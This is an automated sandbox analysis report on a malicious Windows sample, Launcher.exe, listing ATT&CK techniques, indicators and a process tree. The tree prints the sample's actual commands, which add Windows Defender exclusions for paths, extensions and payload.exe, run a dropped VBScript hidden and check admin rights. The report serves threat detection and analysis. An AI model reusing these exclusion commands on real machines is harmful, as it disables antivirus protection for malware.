963800f7e55fca015738f5ab5f09200c4be803c5740c2801fdf86d0de105fb4f

Analysis

max time kernel
151s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/08/2026, 04:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Launcher.exe
Size 73.4MB
Sample260806-etyt7sff79
SHA256 963800f7e55fca015738f5ab5f09200c4be803c5740c2801fdf86d0de105fb4f
MD5 d5e5e8c107a21d0bddc5eb3268962f6c
SHA1 3ebfc24e5d879f413ee79a21318558b4070dd2c7
SHA512 f7fc32a72fa0bf0f79fba3fd9882df432ab85ba5fc1c45043b99a846ec6d1f89542a75229c4b810e85612db4bb387e0cd5d03e9752b918cbeeaf15601693a5d5
SSDEEP 1572864:yLdkQIZ14zzAdFIABZI48z2Fi/S8JKBUmy+N5Xe6EfB7o7:y2QkKv0aABZVPArg/bXeB7o7
TLSH
T103F733C047458654D19FAFF9217F0EF36F270DA0736DA4AB427A8830F4695ABC58928F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 7 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3184	powershell.exe
3200	powershell.exe
2280	powershell.exe
3404	powershell.exe
4488	powershell.exe
2096	powershell.exe
2280	powershell.exe
3380	powershell.exe
5020	powershell.exe
3316	powershell.exe
5224	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
19	6092	Installer.exe

Executes dropped EXE 10 IoCs

pid	Process
6092	Installer.exe
2092	Installer.exe
3240	Installer.exe
3016	Installer.exe
1976	payload.exe
4248	payload.exe
2332	payload.exe
2408	payload.exe
2712	payload.exe
3964	payload.exe

Loads dropped DLL 12 IoCs

pid	Process
4064	Launcher.exe
4064	Launcher.exe
4064	Launcher.exe
6092	Installer.exe
2092	Installer.exe
2092	Installer.exe
2092	Installer.exe
3240	Installer.exe
3016	Installer.exe
2092	Installer.exe
2092	Installer.exe
2092	Installer.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
2140	cmd.exe

System Binary Proxy Execution: Rundll32 1 TTPs 2 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
828	cmd.exe
1000	rundll32.exe

Hide Artifacts: Hidden Window 1 TTPs 6 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2140	cmd.exe
4608	cmd.exe
984	cmd.exe
240	cmd.exe
3680	cmd.exe
3296	cmd.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
4	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3848	wscript.exe
5436	wscript.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
1976	payload.exe
4248	payload.exe
2332	payload.exe
2408	payload.exe
2712	payload.exe
3964	payload.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2140	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 46 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
200	cmd.exe
5612	cmd.exe
4352	cmd.exe
2384	cmd.exe
2792	cmd.exe
1356	cmd.exe
904	cmd.exe
1256	cmd.exe
572	cmd.exe
3472	cmd.exe
5768	cmd.exe
1880	cmd.exe
4344	cmd.exe
5988	cmd.exe
4564	cmd.exe
4328	cmd.exe
2016	cmd.exe
4192	cmd.exe
3004	cmd.exe
5592	cmd.exe
6100	cmd.exe
4236	cmd.exe
5748	cmd.exe
3140	cmd.exe
5308	cmd.exe
5744	cmd.exe
5952	cmd.exe
4820	cmd.exe
3544	cmd.exe
5404	cmd.exe
5944	cmd.exe
1988	cmd.exe
5092	cmd.exe
5348	cmd.exe
4856	cmd.exe
3936	cmd.exe
3012	cmd.exe
1492	cmd.exe
5056	cmd.exe
6028	cmd.exe
4624	cmd.exe
1036	cmd.exe
3580	cmd.exe
1736	cmd.exe
1900	cmd.exe
600	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	Installer.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6092	Installer.exe
6092	Installer.exe
6092	Installer.exe
6092	Installer.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
3184	powershell.exe
3184	powershell.exe
3184	powershell.exe
1508	WMIC.exe
1508	WMIC.exe
1508	WMIC.exe
1508	WMIC.exe
2712	WMIC.exe
2712	WMIC.exe
2712	WMIC.exe
2712	WMIC.exe
4896	WMIC.exe
4896	WMIC.exe
4896	WMIC.exe
4896	WMIC.exe
3832	WMIC.exe
3832	WMIC.exe
3832	WMIC.exe
3832	WMIC.exe
3200	powershell.exe
3200	powershell.exe
3200	powershell.exe
5760	WMIC.exe
5760	WMIC.exe
5760	WMIC.exe
5760	WMIC.exe
4876	WMIC.exe
4876	WMIC.exe
4876	WMIC.exe
4876	WMIC.exe
3024	WMIC.exe
3024	WMIC.exe
3024	WMIC.exe
3024	WMIC.exe
3232	WMIC.exe
3232	WMIC.exe
3232	WMIC.exe
3232	WMIC.exe
5224	powershell.exe
5224	powershell.exe
5224	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
3316	powershell.exe
3316	powershell.exe
3316	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
3404	powershell.exe
3404	powershell.exe
3404	powershell.exe
2608	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	4064	Launcher.exe
Token: SeShutdownPrivilege	6092	Installer.exe
Token: SeCreatePagefilePrivilege	6092	Installer.exe
Token: SeShutdownPrivilege	6092	Installer.exe
Token: SeCreatePagefilePrivilege	6092	Installer.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeShutdownPrivilege	6092	Installer.exe
Token: SeCreatePagefilePrivilege	6092	Installer.exe
Token: SeIncreaseQuotaPrivilege	1068	powershell.exe
Token: SeSecurityPrivilege	1068	powershell.exe
Token: SeTakeOwnershipPrivilege	1068	powershell.exe
Token: SeLoadDriverPrivilege	1068	powershell.exe
Token: SeSystemProfilePrivilege	1068	powershell.exe
Token: SeSystemtimePrivilege	1068	powershell.exe
Token: SeProfSingleProcessPrivilege	1068	powershell.exe
Token: SeIncBasePriorityPrivilege	1068	powershell.exe
Token: SeCreatePagefilePrivilege	1068	powershell.exe
Token: SeBackupPrivilege	1068	powershell.exe
Token: SeRestorePrivilege	1068	powershell.exe
Token: SeShutdownPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeSystemEnvironmentPrivilege	1068	powershell.exe
Token: SeRemoteShutdownPrivilege	1068	powershell.exe
Token: SeUndockPrivilege	1068	powershell.exe
Token: SeManageVolumePrivilege	1068	powershell.exe
Token: 33	1068	powershell.exe
Token: 34	1068	powershell.exe
Token: 35	1068	powershell.exe
Token: 36	1068	powershell.exe
Token: SeIncreaseQuotaPrivilege	1508	WMIC.exe
Token: SeSecurityPrivilege	1508	WMIC.exe
Token: SeTakeOwnershipPrivilege	1508	WMIC.exe
Token: SeLoadDriverPrivilege	1508	WMIC.exe
Token: SeSystemProfilePrivilege	1508	WMIC.exe
Token: SeSystemtimePrivilege	1508	WMIC.exe
Token: SeProfSingleProcessPrivilege	1508	WMIC.exe
Token: SeIncBasePriorityPrivilege	1508	WMIC.exe
Token: SeCreatePagefilePrivilege	1508	WMIC.exe
Token: SeBackupPrivilege	1508	WMIC.exe
Token: SeRestorePrivilege	1508	WMIC.exe
Token: SeShutdownPrivilege	1508	WMIC.exe
Token: SeDebugPrivilege	1508	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1508	WMIC.exe
Token: SeRemoteShutdownPrivilege	1508	WMIC.exe
Token: SeUndockPrivilege	1508	WMIC.exe
Token: SeManageVolumePrivilege	1508	WMIC.exe
Token: 33	1508	WMIC.exe
Token: 34	1508	WMIC.exe
Token: 35	1508	WMIC.exe
Token: 36	1508	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1508	WMIC.exe
Token: SeSecurityPrivilege	1508	WMIC.exe
Token: SeTakeOwnershipPrivilege	1508	WMIC.exe
Token: SeLoadDriverPrivilege	1508	WMIC.exe
Token: SeSystemProfilePrivilege	1508	WMIC.exe
Token: SeSystemtimePrivilege	1508	WMIC.exe
Token: SeProfSingleProcessPrivilege	1508	WMIC.exe
Token: SeIncBasePriorityPrivilege	1508	WMIC.exe
Token: SeCreatePagefilePrivilege	1508	WMIC.exe
Token: SeBackupPrivilege	1508	WMIC.exe
Token: SeRestorePrivilege	1508	WMIC.exe
Token: SeShutdownPrivilege	1508	WMIC.exe
Token: SeDebugPrivilege	1508	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6092	Installer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2868	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 6092	4064	Launcher.exe	90
PID 6092 wrote to memory of 4192	6092	Installer.exe	91
PID 6092 wrote to memory of 2092	6092	Installer.exe	93
PID 6092 wrote to memory of 1356	6092	Installer.exe	94
PID 1356 wrote to memory of 4872	1356	cmd.exe	96
PID 4872 wrote to memory of 4176	4872	net.exe	97
PID 6092 wrote to memory of 3240	6092	Installer.exe	98
PID 6092 wrote to memory of 3016	6092	Installer.exe	99
PID 6092 wrote to memory of 1988	6092	Installer.exe	100
PID 1988 wrote to memory of 2992	1988	cmd.exe	102
PID 6092 wrote to memory of 3580	6092	Installer.exe	103
PID 3580 wrote to memory of 5116	3580	cmd.exe	105
PID 5116 wrote to memory of 3500	5116	net.exe	106
PID 6092 wrote to memory of 5612	6092	Installer.exe	107
PID 6092 wrote to memory of 1492	6092	Installer.exe	108
PID 6092 wrote to memory of 5592	6092	Installer.exe	109
PID 6092 wrote to memory of 3004	6092	Installer.exe	110
PID 6092 wrote to memory of 904	6092	Installer.exe	111
PID 6092 wrote to memory of 5092	6092	Installer.exe	112
PID 6092 wrote to memory of 5056	6092	Installer.exe	113
PID 6092 wrote to memory of 3140	6092	Installer.exe	114
PID 6092 wrote to memory of 1736	6092	Installer.exe	116
PID 6092 wrote to memory of 1256	6092	Installer.exe	117
PID 6092 wrote to memory of 5988	6092	Installer.exe	118
PID 6092 wrote to memory of 5348	6092	Installer.exe	119
PID 6092 wrote to memory of 5308	6092	Installer.exe	120
PID 6092 wrote to memory of 572	6092	Installer.exe	121
PID 1256 wrote to memory of 3196	1256	cmd.exe	136
PID 1736 wrote to memory of 556	1736	cmd.exe	135
PID 5348 wrote to memory of 1788	5348	cmd.exe	137
PID 3140 wrote to memory of 3012	3140	cmd.exe	186
PID 5592 wrote to memory of 1216	5592	cmd.exe	139
PID 1492 wrote to memory of 5224	1492	cmd.exe	183
PID 5308 wrote to memory of 2904	5308	cmd.exe	142
PID 3004 wrote to memory of 4400	3004	cmd.exe	143
PID 5612 wrote to memory of 3848	5612	cmd.exe	141
PID 5056 wrote to memory of 2364	5056	cmd.exe	144
PID 5092 wrote to memory of 1692	5092	cmd.exe	145
PID 572 wrote to memory of 1068	572	cmd.exe	146
PID 5988 wrote to memory of 1552	5988	cmd.exe	147
PID 904 wrote to memory of 5364	904	cmd.exe	148
PID 6092 wrote to memory of 3680	6092	Installer.exe	149
PID 3680 wrote to memory of 3184	3680	cmd.exe	151
PID 6092 wrote to memory of 4564	6092	Installer.exe	152
PID 4564 wrote to memory of 1508	4564	cmd.exe	155
PID 6092 wrote to memory of 5744	6092	Installer.exe	157
PID 5744 wrote to memory of 2712	5744	cmd.exe	159
PID 6092 wrote to memory of 6100	6092	Installer.exe	160
PID 6100 wrote to memory of 4896	6100	cmd.exe	162
PID 6092 wrote to memory of 3472	6092	Installer.exe	163
PID 3472 wrote to memory of 3832	3472	cmd.exe	165
PID 6092 wrote to memory of 3296	6092	Installer.exe	166
PID 3296 wrote to memory of 3200	3296	cmd.exe	209
PID 6092 wrote to memory of 1900	6092	Installer.exe	169
PID 1900 wrote to memory of 5760	1900	cmd.exe	171
PID 6092 wrote to memory of 5952	6092	Installer.exe	172
PID 5952 wrote to memory of 4876	5952	cmd.exe	174
PID 6092 wrote to memory of 5768	6092	Installer.exe	175
PID 5768 wrote to memory of 3024	5768	cmd.exe	177
PID 6092 wrote to memory of 1880	6092	Installer.exe	178
PID 1880 wrote to memory of 3232	1880	cmd.exe	216
PID 6092 wrote to memory of 4344	6092	Installer.exe	181
PID 4344 wrote to memory of 5224	4344	cmd.exe	183
PID 6092 wrote to memory of 4352	6092	Installer.exe	184

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe
  C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:6092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ps -p 4064 -o comm=,ppid="
    3⤵
    - Executes a command shell one-liner
    PID:4192
- - C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1684 --field-trial-handle=1688,i,3377788300450694026,3224189640009448438,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1356
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4872
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4176
- - C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2128 --field-trial-handle=1688,i,3377788300450694026,3224189640009448438,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3240
- - C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2148 --field-trial-handle=1688,i,3377788300450694026,3224189640009448438,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
      4⤵
      PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5116
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\cfghost_0debfc.vbs""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5612
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\cfghost_0debfc.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:3848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5592
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_801bbe\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:1216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3004
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:904
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013" /t REG_DWORD /d 0 /f
      4⤵
      PID:5364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:1692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5056
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp" /t REG_DWORD /d 0 /f
      4⤵
      PID:2364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3140
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:3012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Modules\temp\msh0am891013\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:3196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5988
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:1552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5348
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
      4⤵
